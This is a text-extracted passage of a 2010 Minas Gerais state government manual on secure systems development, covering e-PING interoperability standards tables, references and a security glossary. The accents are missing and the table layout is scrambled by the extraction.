Algoritmo para transporte de SC 3 chave criptogrfica de contedo/sesso Utilizar ECDSA e ECDSA 512 (RFC 5480 - consultar errata em http://www.rfceditor.org/errata_search.php?rfc=5480) para assinaturas SC 4 Algoritmos criptogrficos baseados em curvas elpticas digitais. Utilizar ECIES 256 e ECIES 512 para criptografia e transporte seguro de chaves criptogrficas. Utilizar ECMQV e ECDH (RFC 3278) para acordo de chaves. Requisitos de segurana para mdulos criptogrficos Utilizar homologao da ICP-Brasil NSH-2 e NSH-3; FIPS 140-1 e FIPS 140-2.
Tabela 10 (Criptografia).
Utilizar RSA.
Todos
Todos
SC
Todos
113

4.3.2.3.
Cdigo
Desenvolvimento de Sistemas (DS)

Componente Especificao Utilizar sintaxe e processamento de assinatura XML Nvel
DS
Assinaturas XML
(XMLsig) em conformidade com a W3C Http://www.w3c.org/TR/xmldsig-core/ Utilizar sintaxe e processamento de criptografia XML
Todos
DS
Criptografia XML
(XMLenc) em conformidade com a W3C Http://www.w3c.org/TR/xmlenc-core/ Utilizar transformao de criptografia para assinatura
2a4
DS
Assinatura e criptografia de XML
XML em conformidade com a W3C http://www.w3c.org/TR/xmlenc-decrypt
2a4
Principais gerenciamentos XML DS 4 quando um ambiente ICP utilizado
Utilizar XKMS 2.0 em conformidade com a W3C http://www.w3c.org/TR/xkms2
2a4
Utilizar SAML quando o ambiente ICP utilizado, em DS 5 Autenticao e autorizao de acesso XML conformidade com o OASIS http://www.oasisopen.org/committees/tc_home.php?wg_abbrev=security Utilizar WS-Security 1.1 Intermediao ou federao de identidades http://docs.oasis-open.org/wss/2004/01/oasis-200401wss-soap-message-security-1.0.pdf Utilizar WS-Trust 1.3 http://docs.oasis-open.org/ws-sx/ws-trust/200512 Utilizar testemunhas de conexo de carter permanente (cookies) no sequenciais, apenas com a concordncia DS 7 Navegadores do usurio Estar em conformidade com a Resoluo n 7 do Comit Executivo do Governo Eletrnico (Captulo II, Art. 7)
Tabela 11 Especificaes tcnicas (Desenvolvimento de sistemas).
2a4
DS
2a4
Todos
114

4.3.2.4.
Cdigo
Servios de Rede (SSR)

Componente Especificao Estar em conformidade com Portaria Normativa n 2, de 3 de outubro de 2002 - publicada no D.O. do dia 4 de Nvel
SSR
Diretrio
outubro de 2002, Seo 1 Folha 85 Utilizar LDAPv3 (RFC 2251) e LDAPv3 extenso para TLS (RFC 2830). Estar em conformidade com Resoluo n 7 de 29/07/2002.
2a4
SSR
DNSSEC
Cumprir com os requisitos do Centro de Estudos, Respostas e Tratamento de Incidentes de Segurana no Brasil - CERT.BR - http://www.cert.br/docs/seg-admredes/seg-adm-chklist.pdf
2a4
SSR
Transferncia de arquivos de forma segura
Utilizar SSL sobre HTTP (HTTPS - RFC 2818).
2a4
Utilizar TSAs (RFC 3628), Time-Stamp Protocol, RFC 3161 ETSI TS 101861 SSR 4 Carimbo de tempo O servio de carimbo de tempo dever estar de acordo com a Resoluo n 58, de 28/11/2008 e demais normas da ICP-Brasil.
Tabela 12 Especificaes tcnicas (Servios de rede).
2a4
4.3.2.5.
Cdigo
Redes Sem Fio (SF)

Componente Especificao Ajustar a potncia de transmisso dos dispositivos para que o sinal fique contido nas dependncias delimitadas. Utilizar algoritmos seguros de criptografia como o AES ou o Triple DES (3DES). Utilizar WPA2 (Wi-Fi Protected Access) Nvel
SF
Controle de emanao de sinal
Todos
SF
Criptografia
Todos
SF
Controle de Acesso
Em redes de alta criticidade ou metropolitanas (802.16), utilizar 802.1x.

Tabela 13 Especificaes tcnicas (Redes sem fio).
Todos
115

4.3.2.6.
Cdigo
Respostas a Incidentes de Segurana da Informao (ISI)

Componente Especificao Estar em conformidade com RFC 3227 - Diretrizes para recolhimento e arquivamento de provas. Conformidade com RFC 2350 Tratamento e resposta a Criao de equipes de tratamento e resposta a incidentes em redes computacionais conforme Norma Complementar n 05/09 (http://dsic.planalto.gov.br/documentos/nc_05_etir.pdf) Conformidade com o NIST SP800-86 2a4 Nvel
ISI
Preservao de registros
2a4
ISI
incidentes em redes computacionais
ISI
Informtica forense
(http://csrc.nist.gov/publications/nistpubs/800-86/SP80086.pdf)
Todos
Tabela 14 Especificaes tcnicas (Respostas a incidentes de SI).
4.4.
Meios de Acesso
4.4.1. Polticas Tcnicas Respeitar a legislao brasileira fornecendo recursos de acessibilidade aos cidados portadores de necessidades especiais, grupos tnicos minoritrios e queles sob o risco de excluso social ou digital; Sistemas WEB devero fornecer acesso via navegador; Sistemas que utilizarem outros dispositivos como telefones celulares podero fazer uso de outras interfaces alm dos navegadores; Todos os sistemas que fornecerem servio eletrnico devero utilizar a internet como meio de comunicao; Especificar, de maneira clara e objetiva, em pginas iniciais, quando o sistema for web, as especificaes mnimas para utilizao do sistema; permitido o uso de middleware e plugins adicionais, se no houver alternativa tecnicamente vivel, quando a Internet for utilizada como meio de comunicao; Para a interoperabilidade de sistemas dever ser utilizado o padro de empacotamento XML.
116


Cdigo
Estaes de Trabalho (ET)

Componente Especificao Navegadores devero estar em conformidade com os Nvel
ISI
Navegadores
padres da W3C e aos itens "Adoo de navegadores" e "Adoo Preferencial de Padres Abertos" em Polticas Gerais
2a4
ISI
Conjunto de caracteres e alfabetos
Utilizar UNICODE standard verso 4.0, latin-1, UTF-8, ISBN 0-321-18578-1 Utilizar HTML verso 4.01 (.html ou .htm), gerado conforme especificaes da W3C Utilizar XHTML verses 1.0 ou 1.1 (.xhtml), gerado
2a4
Todos
ISI
Formato de intercmbio de hipertexto
conforme especificaes da W3C Utilizar XML verses 1.0 ou 1.1 (.xml), gerado conforme especificaes da W3C
2a4
Todos
Utilizar SHTML (.shtml)
2a4
Utilizar XML verses 1.0 ou 1.1 (.xml), ou com formatao XLS (.xls), gerado conforme especificaes da W3C Utilizar Open Document (.odt) em conformidade com o padro ABNT NBR ISO/IEC 26300 ISI 4 Arquivos do tipo documento Utilizar PDF (.pdf) 2a4
Todos
Todos
Utilizar PDF verso aberta PDF/A
2a4
Utilizar texto puro (.txt) Utilizar HTML verso 4.01 (.html ou .htm), gerado conforme especificaes da W3C Utilizar Open Document (.ods) em conformidade com o padro ABNT NBR ISO/IEC 26300 Utilizar Open Document (.odp) em conformidade com o padro ABNT NBR ISO/IEC 26300
Todos
2a4
ISI
Arquivos do tipo planilha
Todos
ISI
Arquivos do tipo apresentao
Todos
117

Utilizar HTML (.html ou .htm), gerado conforme especificaes da W3C
2a4
Utilizar XML verses 1.0 ou 1.1 (.xml)
2a4
Utilizar MySQL Database (.myd, .myi), gerados nos formatos do MySQL, verso 4.0 ou superior ISI 7 Arquivos do tipo "banco de dados" para estaes de trabalho Utilizar texto puro (.txt, .csv). Neste caso deve ser incluso o obrigatoriamente o leiaute dos campos para possibilitar o tratamento Utilizar arquivo do Base (.odb) em conformidade com o padro ABNT NBR ISO/IEC 26300 Utilizar PNG (.png) em conformidade com o padro ABNT NBR ISO/IEC 26300
2a4
Todos
2a4
Todos
Utilizar TIFF (.tif)
2a4
ISI
Intercmbio de informaes grficas e imagens estticas
Utilizar SVG (.sgv) em conformidade com a W3C
2a4
Utilizar JPEG File Interchange Format (.jpeg, .jpg ou .jfif) Utilizar Open Document (.odg) em conformidade com o padro ABNT NBR ISO/IEC 26300
2a4
Todos
Utilizar SVG (.sgv) em conformidade com a W3C ISI 9 Grficos vetoriais Utilizar Open Document (.odg) em conformidade com o padro ABNT NBR ISO/IEC 26300 Especificaes de padres de animao
2a4
2a4
ISI
10
Utilizar SVG (.sgv) em conformidade com a W3C
2a4
Utilizar .mpg
2a4
ISI
11
Tipos de arquivo de udio e vdeo Utilizar udio e vdeo MPEG-4, Part 14 (.mp4)
2a4
Utilizar MIDI (.mid)
2a4
118

Utilizar udio Ogg Vorbis I (.ogg)
2a4
Utilizar .avi com codificao Xvid
2a4
Utilizar ZIP (.zip)
2a4
Utilizar GNU ZIP (.gz)
2a4
Utilizar pacote TAR (.tar) ISI 12 Compactao de arquivos de uso geral Utilizar pacote TAR compactado (.tgz ou .tar.gz)
2a4
2a4
Utilizar BZIP2 (.bz2)
2a4
Utilizar TAR compactado com BZIP2 (.tar.bz2)
2a4
Utilizar GML 2.0 ou superior. Arquivo para estruturas vetoriais complexas Informaes georeferenciadas ISI 13 padres de arquivos para intercmbio entre estaes de trabalho Utilizar Geo TIFF. Arquivos para estruturas matriciais limitadas e matrizes de pixel
Tabela 15 Especificaes tcnicas (Estaes de trabalho).
Todos
Utilizar ShapeFile. Arquivo para estruturas vetoriais limitadas
Todos
Todos
4.4.2.2.
Cdigo
Mobilidade (MM)
Componente Especificao Deve estar em conformidade com os padres W3C http://www.w3.org/TR/mobile-bp/ Deve estar em conformidade com os padres W3C http://www.w3.org/TR/mobile-bp/ Deve estar em conformidade com os padres W3C http://www.w3.org/TR/mobile-bp/ Nvel
MM
Protocolos de transmisso
2a4
MM
Navegador
2a4
MM
Padro hipertexto
2a4
119

MM
Programao estendida
Deve estar em conformidade com os padres W3C http://www.w3.org/TR/mobile-bp/ Deve estar em conformidade com os padres W3C http://www.w3.org/TR/mobile-bp/ Deve estar em conformidade com os padres W3C http://www.w3.org/TR/mobile-bp/ Deve estar em conformidade com os padres W3C http://www.w3.org/TR/mobile-bp/ Deve estar em conformidade com os padres W3C http://www.w3.org/TR/mobile-bp/ Deve estar em conformidade com os padres W3C http://www.w3.org/TR/mobile-bp/
2a4
MM
Mensageria
2a4
MM
Arquivos de vdeo e som
2a4
MM
Arquivos de imagem
2a4
MM
Arquivos de escritrio
2a4
MM
Leitor PDF
2a4
Tabela 16 Especificaes tcnicas (Mobilidade).
4.5.
Organizao e Intercmbio de Informaes
4.5.1. Polticas Tcnicas Utilizar XML para o intercmbio de dados; Usar esquema XML e UML para definio dos dados para intercmbio; Usar XSL para transformao de dados; Usar padro de metadados para a gesto de contedos eletrnicos.

Cdigo
Organizao e Intercmbio de Informaes (II)

Componente Linguagem para intercmbio de dados Especificao Utilizar XML em conformidade com W3C Http://www.w3.org/TR/XML Utilizar XSL e XSLT em conformidade com W3C Nvel
II
Todos
II
Transformao de dados
Http://www.w3.org/TR/xsl Http://www.w3.org/TR/xslt
Todos
II
Definio dos dados para intercmbio.
Utilizar XML Schema em conformidade com W3C Utilizar UML em conformidade com OMG
Todos
120

Utilizar o LAG - Lista de Assuntos do Governo, verso II 4 Taxonomia para navegao 1.0. (Agora VCGE - Vocabulrio Controlado do Governo Eletrnico)
Tabela 17 Especificaes tcnicas (Organizao e intercmbio de informaes).
Todos
4.6.
reas de Integrao para Governo Eletrnico
4.6.1. Polticas Tcnicas Aderir a Arquitetura Orientada a Servios (SOA), tendo como referncia para implementao, a iniciativa Arquitetura Referencial de Interoperabilidade dos Sistemas Informatizados de Governo (AR); Utilizar XML e XML Schema como fundamentos para a integrao e interoperabilidade eletrnica do governo; Utilizar Web Services para integrar sistemas de informao do governo; Estar em conformidade com o Guia de Interoperabilidade de Servios de Governo e o Catlogo de Interoperabilidade do Governo, disponveis no Portal do Governo Eletrnico.

Cdigo
Temas Transversais a reas de Atuao do Governo (AG)

Componente PROCESSOS Especificao Utilizar BPEL4WS V1.1 em conformidade com OASIS http://www.oasisopen.org/committees/download.php/2046/BPEL%20V11%20May%205%202003%20Final.pdf 2a4 Nvel
AG
Linguagem para execuo de processos PROCESSOS -
AG
Notao para modelagem de processos Legislao,
Utilizar BPMN 1.0 em conformidade com OMG http://www.bpmn.org/Documents/OMG%20Final%20Adopted%20BPM N%201-0%20Spec%2006-02-01.pdf 2a4
AG
jurisprudncia e proposies legislativas
Utilizar LexML, o qual define recomendaes para identificao e estruturao de documentos legislativos e judicirios http://www.lexml.gov.br/ 2a4
121

Utilizar WMS verso 1.0 ou superior http://www.opengeospatial.org/standards
Todo s
Utilizar WFS verso 1.0 ou superior INFORMAES GEORREFERENC IADAS AG 4 Interoperabilidade entre sistemas de informao geogrfica Utilizar WFS-T verso 1.0 ou superior http://www.opengeospatial.org/standards/wfs Utilizar WKT/WKB http://www.opengeospatial.org/standards/sfa
Tabela 18 Especificaes tcnicas (Temas transversais).
Todo s Todo s Todo s Todo s
http://www.opengeospatial.org/standards Utilizar WCS verso 1.0 ou superior http://www.opengeospatial.org/standards Utilizar CSW verso 2.0 ou superior http://www.opengeospatial.org/standards/cat
2a4
4.6.2.2.
Cdigo
Web Services (WS)

Componente Especificao Estar em conformidade com as especificaes da Nvel
WS
Infra-estrutura de registros
UDDI v3.02 definida pela OASIS. http://uddi.org/pubs/uddi_v3.htm
2a4
WS
Linguagem de definio do servio
Utilizar WSDL 1.1 em conformidade com W3C. http://www.w3.org/TR/wsdl
Todos
Tabela 19 Especificaes tcnicas (Web services).
122

5. Referncias e Literatura Complementar

Adaikkappan, A. (2009). Application Security Controls: An Audit Perspective. ISACA Journal . Agncia Brasil. (22 de 08 de 2009). Folha Online. Acesso em 04 de 2010, disponvel em Folha: http://www1.folha.uol.com.br/folha/brasil/ult96u613407.shtml Albuquerque, R. (2002). Segurana no Desenvolvimento de Software. So Paulo: Campus. Basham, R. (2006). Procedure Guidelines and Controls Documentation: SDLC Controls in Cobit 4.0. ISACA . Croll, P., & Moss, M. (2008). Leveraging Models and Standards for Assurance. SSTC. Las Vegas. CWE - Common Weakness Enumeration. (2010). 2010 CWE/SANS Top 25 Most Dangerous Software. http://cwe.mitre.org/top25/ . FEDERAL INFORMATION PROCESSING STANDARDS PUBLICATION. (2006). Minimum Security Requirements for Federal Information and Information Systems. FIPS PUB 200 . Governo Brasileiro: Comit Executivo de Governo Eletrnico. (2009). e-PING: Padres de Interoperabilidade de Governo Eletrnico. http://www.eping.e.gov.br . Graff, M. G., & Wyk, K. R. (2003). Secure Coding: Principles and Practices. Sebastopol, CA, Estados Unidos: O'Reilly. Greene, F. (2002). A Survey of Application Security in Current International Standards. http://www.isaca.org . Howard, M., & Leblanc, D. (2005). Escrevendo Cdigo Seguro: estratgias e tcnicas prticas para codificao segura de aplicativos em um mundo em rede. (2a. ed.). Porto Alegre: Bookman. Huey, P. (2010). Oracle Database Security Guide. Oracle Corporation .
123

IBM. (2008, 01). Understanding Web application security challenges. Web application security management . Estados Unidos: IBM. IEEE Computer Society. (2006). IEEE Standard for Developing a Software Project Life Cycle Process. http://standards.ieee.org . IG. (22 de 07 de 2009). ltimo Segundo. Acesso em 04 de 2010, disponvel em IG: http://ultimosegundo.ig.com.br/brasil/2008/07/22/policiais_civis_fazem_mega_operac ao_no_rio_de_janeiro_1460079.html Information Systems Audit and Control Association. (2003). Control Risk SelfAssessment. www.isaca.org . Information Systems Audit and Control Association. (2001). Generic Application Review. www.isaca.org . International Organization for Standardization. (2008). Information technology Security techniques - Evaluation criteria for IT security - Part 2: Security functional components. Gnova: ISO/IEC. ISACA. (2007). Systems Development Life Cycle and IT Audits. www.isaca.org . IT Governance Institute. (2008). Aligning CobiT 4.1, ITIL V3 and ISO/IEC 27002 for Business Benefit. www.itgi.org . IT Governance Institute. (2007). CobiT 4.1. www.itgi.org . IT Governance Institute. (2007). CobiT Mapping: Mapping of NIST SP800-53 Rev 1 With COBIT 4.1. www.itgi.org . IT Governance Institute. (2006). CobiT Mapping: Overviewof International IT Guidance, 2nd Edition. www.itgi.org . Kissel, R. (2008). Security Considerations in the System Development Life Cycle. NIST Special Publication 800-64 Revision 2 . Kurth, H. (2009). Security Target for Oracle Database 11g Release 1 (11.1.0) with Oracle Database Vault. Oracle Corporation .
124

Mead, N. R., Hough, E. D., & Stehney II, T. R. (2005). Security Quality Requirements Engineering (SQUARE) Methodology. Carnegie Mellon University . Mellado, D., Fernndez-Medina, E., & Piattini, M. (2007). A common criteria based security requirements engineering process for the development of secure information systems. Computer Standards & Interfaces , 29, pp. 244-253. Microsoft Corporation. (2003). Design Guidelines for Secure Web Applications. Microsoft Corporation. (2010). Microsoft Security Development Lifecycle.
http://www.microsoft.com/sdl . Microsoft Corporation. (2005). Microsoft SQL Server 2005: Security-Enhanced Database Platform. http://www.microsoft.com/sql . MySQL Security Guide extract from the MySQL 5.1 Reference Manual. (2010). National Infrastructure Security Co-ordination Centre. (2006). Secure web
applications: Development, installation and security testing. www.niscc.gov.uk . NIST. (1995). An Introduction to Computer Security. Special Publication 800-12 . NIST. (02 de 2004). FIPS 199: Standards for Security Categorization of Federal Information and Information Systems. FEDERAL INFORMATION PROCESSING STANDARDS PUBLICATION , p. 13. NIST. (2010). Guide for Applying the Risk Management Framework to Federal Information Systems. NIST Special Publication 800-37 . NIST. (2008). Guide for Assessing the Security Controls in Federal Information Systems. NIST Special Publication 800-53A . NIST. (2007). Guide to Secure Web Services. Special Publication 800-95 . NIST. (2003). Guideline on Network Security Testing. NIST Special Publication 80042 . NIST. (2009). Recommended Security Controls for Federal Information Systems and Organizations. NIST Special Publication 800-53 Revision 3 .
125

NIST. (2008). Security Considerations in the System Development Life Cycle. NIST Special Publication 800-64 Revision 2 . NIST. (2002, Junho). SP 800-34: Contingency Planning Guide for Information Technology Systems. Special Publication Series 800 , p. 107. NIST. (10 de 2008). SP 800-64: Security Considerations in the System Development Life Cycle. NIST Special Publications 800 Series , p. 67. NIST. (2008). Technical Guide to Information Security Testing and Assessment. Special Publication 800-115 . OWASP Foundation. (2008). OWASP TESTING GUIDE. http://www.owasp.org . OWASP Foundation. (s.d.). Software Assurance Maturity Model: A guide to building security into software development. http://www.opensamm.org . Paul, M. (s.d.). A Kaleidoscope of Perspectives. (ISC)2 . Paul, M. (s.d.). Software Security: Being Secure in an Insecure World. (ISC)2 . Paul, M. (n.d.). The Need for Secure Software. (ISC)2. Paul, M. (s.d.). The Ten Best Practices for Secure Software Development. (ISC)2 . PC Guardian. (2003). Encryption Plus Hard Disk 7.0 Security Target.
http://www.pcguardian.com . Pessoa, M. (2007). Segurana em PHP: desenvolva programas PHP com alto nvel de segurana e aprenda como manter os servidores web livres de ameaas. So Paulo: Novatec Editora. Peter, W. (2008). CC and CMMI: An Approach to Integrate CC with Development. TV Informationstechnik GmbH . RAGEN, A. (2007). Manager's Guide to the Common Criteria. Richardson, R. (2008). CSI Computer Crime & Security Survey. Computer Security Institute .
126

UK Law Enforcement Community. (2009/2010). The United Kingdom Threat Assessment of Organised Crime. SOCA . UOL. (22 de 10 de 2009). UOL Educao. Acesso em 04 de 2010, disponvel em UOL: http://educacao.uol.com.br/ultnot/2009/10/22/ult1811u454.jhtm Vaz, L. (21 de 12 de 2009). Clipping. Acesso em 04 de 2010, disponvel em Ministrio do Planejamento:
https://conteudoclippingmp.planejamento.gov.br/cadastros/noticias/2009/12/21/fraud e-na-previdencia-chega-a-r-1-6-bilhao Woody, C. (2008). Strengthening Ties Between Process and Security. Pittsburgh, PA: Software Engineering Institute, Carnegie Mellon University.
127

6. Anexos 6.1. Glossrio

Acreditao: Deciso oficial de gerenciamento para autorizar a operao de um sistema de informao e aceitar explicitamente os riscos residuais. Ambiente: Agregao de procedimentos, condies e objetos externos afetando o desenvolvimento, operao e manuteno de um sistema de informao. Anlise de impacto na privacidade: Uma anlise de como a informao manuseada: 1) para garantir seu manuseio em conformidade com requerimentos polticos, regulatrios e legais; 2) para determinar os riscos e efeitos da coleta, manuteno e distribuio da informao; 3) para examinar e avaliar protees e processos alternativos de manuseio de informaes para mitigar potenciais riscos sobre a privacidade. Anlise de Impacto no Negcio: Anlise de requerimentos, processos e interdependncias de um sistema de informao, usada para caracterizar prioridades e requerimentos de contingncia do sistema para o caso de uma interrupo significante. Anlise de Riscos: Processo de identificao de riscos segurana do sistema e determinao da probabilidade de ocorrncia, do impacto, e de medidas adicionais para mitigar esse impacto. Ataque de Buffer Overflow: Mtodo para sobrecarregar uma quantidade prdefinida de espao em um buffer, o que pode sobrescrever ou corromper dados na memria. Ataque de fora bruta: Mtodo utilizado para acessar um dispositivo atravs da tentativa de combinaes mltiplas de senhas numricas e alfanumricas. Ativo: Recurso, aplicao principal, sistema de suporte geral, programa de alto impacto, planta fsica, sistema de misso crtica, ou um grupo de sistemas relacionados logicamente.
128

Auditoria: Reviso e exame, independente, de registros e atividades, para avaliar a adequao de controles de sistemas, para assegurar a conformidade com polticas e procedimentos operacionais estabelecidos, e recomendar mudanas necessrias em controles, polticas e procedimentos. Autenticao: Verificao da identidade de um usurio, processo ou dispositivo, geralmente como pr-requisito para permisso de acesso a recursos de um sistema de informao. Autenticar: Confirmar a identidade de uma entidade quando esta identidade apresentada. Autoridade Certificadora: Uma entidade confivel, que emite ou revoga certificados de chave pblica. Autorizao: Deciso oficial de gerenciamento para autorizar a operao de um sistema de informao e aceitar explicitamente os riscos residuais. Backup: Cpia de arquivos e programas feita para facilitar a recuperao dos mesmos, caso necessrio. Certificado digital: Representao digital de uma informao que, no mnimo: 1) identifica a autoridade certificadora que a emitiu; 2) nomeia ou identifica o assinante; 3) contm uma chave pblica do assinante; 4) identifica seu perodo operacional; e 5) assinada digitalmente pela autoridade certificadora que a emitiu. Chaves assimtricas: Duas chaves relacionadas, uma pblica e outra privada, que so usadas para executar operaes complementares, tais como cifragem e decifragem, ou gerao e verificao de assinatura. Cliente (Aplicao): Uma entidade do sistema, geralmente um processo de computador, agindo em nome de um usurio humano, que faz uso de um servio prestado por um servidor. Cdigo malicioso: Cdigo intencionado a executar um processo no autorizado, que pode causar um impacto adverso na confidencialidade, integridade ou disponibilidade de um sistema de informao.
129

Confidencialidade: Restries autorizadas para preservao do acesso e descarte de informaes, incluindo meios de proteger informaes pessoais privadas e proprietrias. Controles compensatrios: Controles tcnicos, operacionais e gerenciais
empregados por uma organizao em lugar dos controles recomendados, que oferecem proteo equivalente ou comparvel para um sistema de informao. Controles gerenciais: Controles de segurana para um sistema de informao que focam no gerenciamento do risco e da segurana do sistema de informao. Controles operacionais: Controles de segurana do sistema de informao que primeiramente so implementados e depois so executados por pessoas. Cookie: Um pedao de uma informao fornecida por um servidor web a um browser, juntamente com o recurso requisitado, para que browser armazene temporariamente e retorne ao servidor em qualquer visita ou requisio subseqente. Criptografia: a disciplina que incorpora os princpios, meios e mtodos para a transformao de dados com a finalidade de ocultar seu contedo semntico e prevenir sua utilizao no autorizada ou sua modificao no detectada. Criptografia: Srie de transformaes que transforma um texto plano em um texto cifrado. Decifragem: O processo de transformar texto cifrado em texto plano. Disponibilidade: Garantia de tempestividade e confiabilidade no acesso e uso da informao. Firewall: Um porto que limita o acesso entre redes de acordo com a poltica de segurana local. Hashing: O processo de uso de um algoritmo matemtico contra um dado para produzir um valor numrico que represente aquele dado.
130

IDS (Intrusion Detection System): Sistema de Deteco de Intrusos. Software que procura por atividades suspeitas e alerta administradores. IPS (Intrusion Prevention System): Sistema de Preveno de Intrusos. Software que toma aes perante alertas gerados pelo IDS. Quando integrado ao IDS, pode ser chamado de IDPS (Intrusion Detection and Prevention System). Impacto: Magnitude do dano que pode ser causado por conseqncia de operaes no autorizadas em informaes, tais como descarte, modificao, destruio, perda, entre outras. Integridade do dado: A propriedade que um dado tem de no ter sido alterado de maneira no autorizada durante seu armazenamento, seu processamento e sua transmisso. Interrupo: Evento no planejado que torna o sistema inoperante por um espao de tempo inaceitvel. Menor Privilgio: Garantia aos usurios apenas dos acessos aos quais estes necessitam para realizar suas funes oficiais. No repdio: Garantia de que o remetente da informao recebe a prova da entrega e o destinatrio recebe a prova da identidade do remetente, no podendo posteriormente negar ter processado a informao. Objeto: Entidade passiva que contm ou recebe informao. PDSOO: Processo de Desenvolvimento de Software Orientado a Objeto. Ciclo de vida de desenvolvimento de sistemas da Prodemge. Plano de contingncia: Poltica e procedimentos de gerenciamento, desenhados para manter ou recuperar operaes de negcio, incluindo operaes de computadores, no caso de eventuais emergncias, desastres ou falhas de sistemas. Plano de Continuidade de Negcios (PCN): Documentao de uma srie de instrues ou procedimentos pr-determidados, que descrevem como as funes de negcios da organizao sero sustentadas durante e aps uma interrupo significante.
131

Poltica de Segurana: Um documento que descreve a estrutura de gerenciamento de segurana e claramente designa responsabilidades de segurana e estabelece as bases necessrias para medir o cumprimento e o progresso. Proxy: Aplicao que quebra a conexo entre cliente e servidor. O Proxy aceita certos tipos de trfego entrando ou saindo de uma rede, processa e os encaminha, fechando o caminho direto entre redes internas e redes externas. Risco residual: O potencial risco remanescente depois que todas as medidas de segurana so aplicadas. Para cada ameaa, h um risco residual relacionado. Risco: Nvel de impacto em operaes ou ativos, resultantes da operao de um sistema de informao, dado o potencial risco de uma ameaa e a probabilidade da ameaa vir a ocorrer. SDLC: Systems Development Lifecycle. Ciclo de vida do desenvolvimento de sistemas. Conjunto de metodologias e prticas para o desenvolvimento de aplicaes e hardware. Pode ser adaptado para a aquisio de sistemas. Segurana da Informao: A proteo da informao e de sistemas de informao contra acesso, uso, descarte, modificao ou destruio no autorizada, com a finalidade de fornecer confidencialidade, integridade e disponibilidade. Senha: Um segredo que algum memoriza e usa para se autenticar ou autenticar sua identidade. Sistema de Informao: Um conjunto discreto de recursos de informao, organizados de forma a coletar, processar, manter, usar, compartilhar, disseminar e disponibilizar informao. Software antivrus: Programa que monitora computadores ou redes para identificar aplicaes maliciosas e prevenir incidentes. Texto cifrado: Texto em sua forma criptografada. Trilha de auditoria: Um registro mostrando quem acessou um sistema de informao, e quais operaes o usurio executou em um determinado perodo.
132

Vulnerabilidade: Fragilidade em um sistema de informao, procedimentos de segurana do sistema, controles internos ou implementao, que poderia ser explorada por uma ameaa.
133

FIM DO DOCUMENTO
134

Manual de Desenvolvimento de Sistemas Seguros Vol2 v2.0

Enviado por

Dados do documento

Direitos autorais

Formatos disponíveis

Compartilhar este documento

Compartilhar ou incorporar documento

Opções de compartilhamento

Você considera este documento útil?

Este conteúdo é inapropriado?

Direitos autorais:

Formatos disponíveis

Manual de Desenvolvimento de Sistemas Seguros Vol2 v2.0

Enviado por

Direitos autorais:

Formatos disponíveis

Governo do Estado de Minas Gerais Secretaria de Estado de Planejamento e Gesto Subsecretaria de Gesto Superintendncia Central de Governana Eletrnica

Manual de Desenvolvimento e Aquisio de Sistemas Seguros

Belo Horizonte (Julho/2010)

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

2. TCNICAS DE PROGRAMAO SEGURA .................................................... 14

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

2.2.10. 2.2.11. 2.2.12. 2.2.13. 2.2.14. 2.2.15.

3. PROTEO DE DADOS ................................................................................... 81

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

4. INTEROPERABILIDADE DE SISTEMAS (E-PING) ........................................ 106

5. REFERNCIAS E LITERATURA COMPLEMENTAR..................................... 123 6. ANEXOS .......................................................................................................... 128

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

Como utilizar este manual

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

2. Tcnicas de Programao Segura

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

Caractersticas de Cdigos Seguros

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

Exemplo de temporizador, ou cronmetro, escrito em php:

A seguir, apresentado um exemplo de como utilizar a classe do temporizador:

O resultado seria uma mensagem parecida com a seguinte:

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

Cuidados com temporizadores

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

Figura 1 Estrutura baseada em usurios ilegtimos.

Diretivas: Desenhar a estrutura do sistema com foco em usurios ilegtimos.

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

Figura 2 Pgina HTTPS para login.

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

Secretaria de Estado de Planejamento e Gesto de Minas Gerais

Figura 3 Exemplo de captcha.

SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

